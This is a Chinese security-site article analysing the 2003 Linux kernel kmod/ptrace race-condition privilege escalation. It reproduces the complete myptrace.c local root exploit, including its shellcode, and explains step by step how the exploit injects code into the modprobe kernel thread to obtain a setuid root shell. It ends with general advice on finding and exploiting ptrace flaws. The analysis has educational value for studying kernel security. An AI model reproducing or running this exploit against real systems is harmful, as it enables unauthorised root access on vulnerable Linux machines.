您没有来错地!为了更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

从一个漏洞谈到ptrace的漏洞发现及利用方法

2004-9-29 20:05| 投稿: security

摘要: 说明:(1)由于作者水平有限,难免有错误之处,如若发现,请和作者联系。(2)本文可任意修改,不过请保留该头。目录:1. ptrace介绍2. Linux Kernel kmod/ptrace竞争条件权...
说明:(1)由于作者水平有限,难免有错误之处,如若发现,请和作者联系。(2)本文可任意修改,不过请保留该头。目录:1. ptrace介绍2. Linux Kernel kmod/ptrace竞争条件权限提升漏洞分析3. 针对该溢出代码的补充说明4. Ptrace漏洞的发现及利用方法5. 参考资料1. ptrace介绍为方便应用软件的开发和调试,从unix的早期版本开始就提供了一种对运行中的进程进行跟踪和控制的手段,那就是系统调用ptrace()。通过ptrace(),一个进程可以动态地读/写另一个进程地内存和寄存器,包括其指令空间、数据空间、堆栈以及所有的寄存器。与信号机制(以及其他手段)相结合,就可以实现一个进程在另一个进程的控制和跟踪下运行的目的。GNU的调试工具gdb就是一个典型的实例。ptrace()的系统调用格式如下:long int ptrace(enum __ptrace_request request, pid_t pid, void * addr, void * data);参数pid为进程号,指明了操作的对象,而request,则是具体的操作,文件include/linux/ptrace.h中定义了所有可能的操作码:#define PTRACE_TRACEME 0#define PTRACE_PEEKTEXT 1#define PTRACE_PEEKDATA 2#define PTRACE_PEEKUSR 3#define PTRACE_POKETEXT 4#define PTRACE_POKEDATA 5#define PTRACE_POKEUSR 6#define PTRACE_CONT 7#define PTRACE_KILL 8#define PTRACE_SINGLESTEP 9#define PTRACE_ATTACH 0x10#define PTRACE_DETACH 0x11#define PTRACE_SYSCALL 24跟踪者先要通过PTRACE_ATTACH与被跟踪进程建立起关系,或者说“Attach”到被跟踪进程。然后,就可以通过各种PEEK和POKE操作来读/写被跟踪进程的指令空间、数据空间或者各个寄存器,每次都时一个长字,由addr指明其地址;或者,也可以通过PTRACE_SINGLESTEP、PTRACE_KILL、PTRACE_SYSCALL和PTRACE_CONT等操作来控制被跟踪进程的运行。最后,通过PTRACE_DETACH跟被跟踪进程脱离关系。2. Linux Kernel kmod/ptrace竞争条件权限提升漏洞分析这个漏洞发布于2003年3月19日。下面我们对该漏洞进行详细分析。当进程请求的功能在模块中的情况下,内核就会派生一子进程,并把子进程的euid和egid设置为0并调用execve("/sbin/modprobe")。问题是在子进程euid改变为0前可以被ptrace()挂接调试,因此攻击者可以插入任意代码到进程中并以root用户的权限运行。为了方便期间,我们从漏洞利用源码入手,分析该漏洞。其源码如下:// --program name : myptrace.c/** Linux kernel ptrace/kmod local root exploit** This code exploits a race condition in kernel/kmod.c, which creates* kernel thread in insecure manner. This bug allows to ptrace cloned* process, allowing to take control over privileged modprobe binary.** Should work under all current 2.2.x and 2.4.x kernels.* * I discovered this stupid bug independently on January 25, 2003, that* is (almost) two month before it was fixed and published by Red Hat* and others.* * Wojciech Purczynski ** THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY** IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY* * (c) 2003 Copyright by iSEC Security Research*/1 #include 2 #include 3 #include 4 #include 5 #include 6 #include 7 #include 8 #include 9 #include 10 #include 11 #include 12 #include 13 #include 14 #include 15 #include 16 #include 1718 char cliphcode[] =19 "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"20 "\x00\x5b\x31\xc9\x89\xca\xcd\x80"21 "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"22 "\x00\x00\xcd\x80\x89\xd0\x89\xd3"23 "\x40\xcd\x80\xe8\xdc\xff\xff\xff";24 /*__NR_chown25 *__NR_lchown26 *__NR_exit27 */2829 #define CODE_SIZE (sizeof(cliphcode) - 1)3031 pid_t parent = 1;32 pid_t child = 1;33 pid_t victim = 1;34 volatile int gotchild = 0;3536 void fatal(char * msg)37 {38 perror(msg);39 kill(parent, SIGKILL);40 kill(child, SIGKILL);41 kill(victim, SIGKILL);42 }4344 void putcode(unsigned long * dst)45 {46 char buf[MAXPATHLEN + CODE_SIZE];47 unsigned long * src;48 int i, len;4950 memcpy(buf, cliphcode, CODE_SIZE);51 len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);52 if (len == -1)53 fatal("[-] Unable to read /proc/self/exe");5455 len += CODE_SIZE + 1;56 buf[len] = '\0';5758 src = (unsigned long*) buf;59 for (i = 0; i 60 if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)61 fatal("[-] Unable to write shellcode");62 }6364 void sigchld(int signo)65 {66 struct user_regs_struct regs;6768 if (gotchild++ == 0)69 return;7071 fprintf(stderr, "[+] Signal caught\n");7273 if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)74 fatal("[-] Unable to read registers");7576 fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);7778 putcode((unsigned long *)regs.eip);7980 fprintf(stderr, "[+] Now wait for suid shell...\n");8182 if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)83 fatal("[-] Unable to detach from victim");8485 exit(0);86 }8788 void sigalrm(int signo)89 {90 errno = ECANCELED;91 fatal("[-] Fatal error");92 }9394 void do_child(void)95 {96 int err;9798 child = getpid();99 victim = child + 1;//child +1为估计的内核进程的PID100101 signal(SIGCHLD, sigchld);102103 do104 err = ptrace(PTRACE_ATTACH, victim, 0, 0);105 while (err == -1 && errno == ESRCH);//一直等待ptrace内核进程106107 if (err == -1)108 fatal("[-] Unable to attach");109110 fprintf(stderr, "[+] Attached to %d\n", victim);111 while (!gotchild) ;112 if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)113 fatal("[-] Unable to setup syscall trace");114 fprintf(stderr, "[+] Waiting for signal\n");115116 for(;;);117 }118119 void do_parent(char * progname)120 {121 struct stat st;122 int err;123 errno = 0;124 socket(AF_SECURITY, SOCK_STREAM, 1);//产生modprobe请求125 do {126 err = stat(progname, &st);127 } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);//假如不是s的就一直测试128129 if (err == -1)130 fatal("[-] Unable to stat myself");131132 alarm(0);133 system(progname);134 }135136 void prepare(void)137 {138 if (geteuid() == 0) {139 initgroups("root", 0);140 setgid(0);141 setuid(0);142 execl(_PATH_BSHELL, _PATH_BSHELL, NULL);143 fatal("[-] Unable to spawn shell");144 }145 }146147 int main(int argc, char ** argv)148 {149 prepare();150 signal(SIGALRM, sigalrm);151 alarm(10);//10 s以后产生一个SIGALRM信号152153 parent = getpid();154 child = fork();155 victim = child + 1;//child +1为估计的内核进程的PID156157 if (child == -1)158 fatal("[-] Unable to fork");159160 if (child == 0)161 do_child();162 else163 do_parent(argv[0]);164165 return 0;166 }分析:首先,该进程在154行调用fork()派生一个子进程,然后子进程调用函数do_child();父进程调用函数do_parent()。在do_parent()中,调用一个特殊域的socket函数(第124行),内核此时会寻找该模块支持,并调用函数request_module()(该函数位于kernel/kmod.c)主动的启动模块安装。该函数会调用kernel_thread(exec_modprobe,(void *)module_name, 0)来创建内核线程(其实是调用系统调用clone()来创建一个内核进程)。该内核线程运行的函数是exec_modprobe(),该函数在kernel/kmod.c中定义:1 static int exec_modprobe(void * module_name)2 {3 static char * envp[] = { "HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL };4 char *argv[] = { modprobe_path, "-s", "-k", "--", (char*)module_name, NULL };5 int ret;67 ret = exec_usermodehelper(modprobe_path, argv, envp);8 if (ret) {9 printk(KERN_ERR10 "kmod: failed to exec %s -s -k %s, errno = %d\n",11 modprobe_path, (char*) module_name, errno);12 }13 return ret;14 }这里的modprobe_path就是路径名/sbin/modprobe,所以,如果module_name为mymodule的话,这里的argv[]就相当于命令:/sbin/modprobe -s -k mymodule选择项-s表示在安装过程中产生的信息应当写入系统的运行日值,而不要在控制终端上显示;-k表示安装时的MOD_AUTOCLEAN标志位设成1。函数exe_usermodehelper()的代码也在同一文件(kmod.c)中:12 int exec_usermodehelper(char *program_path, char *argv[], char *envp[])3 {4 int i;5 struct task_struct *curtask = current;67 curtask->session = 1;8 curtask->pgrp = 1;910 use_init_fs_context();1112 /* Prevent parent user process from sending signals to child.13 Otherwise, if the modprobe program does not exist, it might14 be possible to get a user defined signal handler to execute15 as the super user right after the execve fails if you time16 the signal just right.17 */18 spin_lock_irq(&curtask->sigmask_lock);19 sigemptyset(&curtask->blocked);20 flush_signals(curtask);21 flush_signal_handlers(curtask);22 recalc_sigpending(curtask);23 spin_unlock_irq(&curtask->sigmask_lock);2425 for (i = 0; i files->max_fds; i++ ) {26 if (curtask->files->fd[i]) close(i);27 }2829 /* Drop the "current user" thing */30 {31 struct user_struct *user = curtask->user;32 curtask->user = INIT_USER;33 atomic_inc(&INIT_USER->__count);34 atomic_inc(&INIT_USER->processes);35 atomic_dec(&user->processes);36 free_uid(user);37 }3839 /* Give kmod all effective privileges.. */40 curtask->euid = curtask->fsuid = 0;41 curtask->egid = curtask->fsgid = 0;42 cap_set_full(curtask->cap_effective);4344 /* Allow execve args to be in kernel space. */45 set_fs(KERNEL_DS);4647 /* Go, go, go... */48 if (execve(program_path, argv, envp) 49 return -errno;50 return 0;51 }52这段代码是在内核线程exec_modprobe()的上下文运行的,所以这里的current指向这个内核线程的task_struct结构,而与创建这个线程时的current不同,那时候的current指向当时的当前进程,即exec_modprobe()的父进程。内核线程exec_modprobe()从其父进程继承了绝大部分资源和特性,包括它的fs_struct的内容和打开的所有文件,以及它的进程号、组号,还有所有的特权。但是这些特性在这个函数里大多被拚弃了(见源码的19行到42行,这里设置了该内核线程的信号、euid 、egid等,使之变成超级用户),不过在拚弃这些特性之前之前,我们的父进程,或同组进程是应该可以调试该内核线程的。漏洞也就在这里。我们再回到myptrace.c中,来看看myptrace.c中的do_child()函数。该函数在103行-105行调用do-while()语句一直循环等待,直到期望的进程号(也就是父进程派生的那个内核线程)出现,在该线程刚刚出现还没有拚弃父进程的特性(主要是uid, gid, euid, egid等)之前,子进程可以调试该内核线程,所以子进程就可以调用ptrace()系统调用ATTACH该内核线程。然后,如上所述,该内核线程就会拚其父进程的特性,变成超级用户。接下来,子进程利用信号处理程序,在第78行调用函数putcode() 向该内核线程的空间写入一些代码,当内核线程再次运行时,就会执行这段代码,使我们的程序变成所有者为root,并设置了“set_uid”标示位。再看我们的父进程在do_parent()中一直监视自身文件(125行-127行),一旦状态改变,就调用函数system()重新运行自身文件,此时在main()函数中会运行parent()函数,该函数即运行了一个超级用户的shell。3.针对该溢出代码的补充说明。为什么我们不在ATTACH到内核线程后立即向该内核线程中注入数据,而是还要等待下一个系统调用之前注入呢?即源码的112行为什么要调用:ptrace(PTRACE_SYSCALL, victim, 0, 0);这是因为如果在刚刚ATTACH后,我们就取得指向用户空间的eip时(源码73行),即用:ptrace(PTRACE_GETREGS, victim, NULL, ®s) ;取得的eip值是:0xc0bf1ef8(红帽子7.2下的值),这是指向系统空间的,是我们进程不可写的空间,所以我们不能向这里注入我们的代码。为什么此时eip会指向系统空间呢?PTRACE_GETREGS命令取得的可是进程进入系统空间前的用户空间的eip值呀?我分析其原因这和系统响应信号的时机有关系。系统响应信号的时机大多是在系统调用返回前夕,此时进程的执行路线有两个可能:A:从用户->内核->用户,此时响应了信号。B:从内核->内核->用户,此时相应了信号。如果是A的话,当然应该没问题了,但是如果是B的话,那就会出项上面的情况,即我们取得的eip是指向系统空间的。经过试验,我们发现在进入系统调用之前取得的eip是0x4001189d(红帽子7.2下的值),这正是该进程的在用户空间的代码区,在这里我们可以利用ptrace()注入我们的数据。4.Ptrace漏洞的发现及利用方法。通过分析该漏洞,和去年ptrace的漏洞(参见参考资料部分),对我有以下启发:(1)ptrace()漏洞的实质是要能够用ptrace()系统调用调试一个具有超级权限的进程。本次的漏洞是调试了一个具有超级权限的内核线程,上次的漏洞是调试了/usr/bin/passwd具有超级权限的进程。(2)ptrace()漏洞利用的基本方法是向调试的具有超级权限的进程中注入(利用ptrace()系统调用写入)一些代码,将某个程序(或自身程序)设置为所有者为root,且具有“set_uid”标示。(3)要利用普通用户调试具有超级权限的进程是有条件的。本次漏洞是利用了/sbin/modprobe变成超级进程前,我们可以利用普通用户调试一个具有普通权限的进程。上次漏洞是利用了超级用户(普通用户通过运行/usr/bin/newgrp得到的超级用户权限)可以调试具有超级权限的进程(普通用户运行/usr/bin/passwd得到超级用于权限)。综上所述,我们可以看出,ptrace()漏洞利用的关键在于怎样能够使得一个普通用户可以调试一个具有超级权限的进程。5.参考资料:http://www.airarms.org/bbs/viewthread.php?tid=197 去年ptrace漏洞的利用程序和详细说明。http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=4570最近ptrace漏洞的利用程序。

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部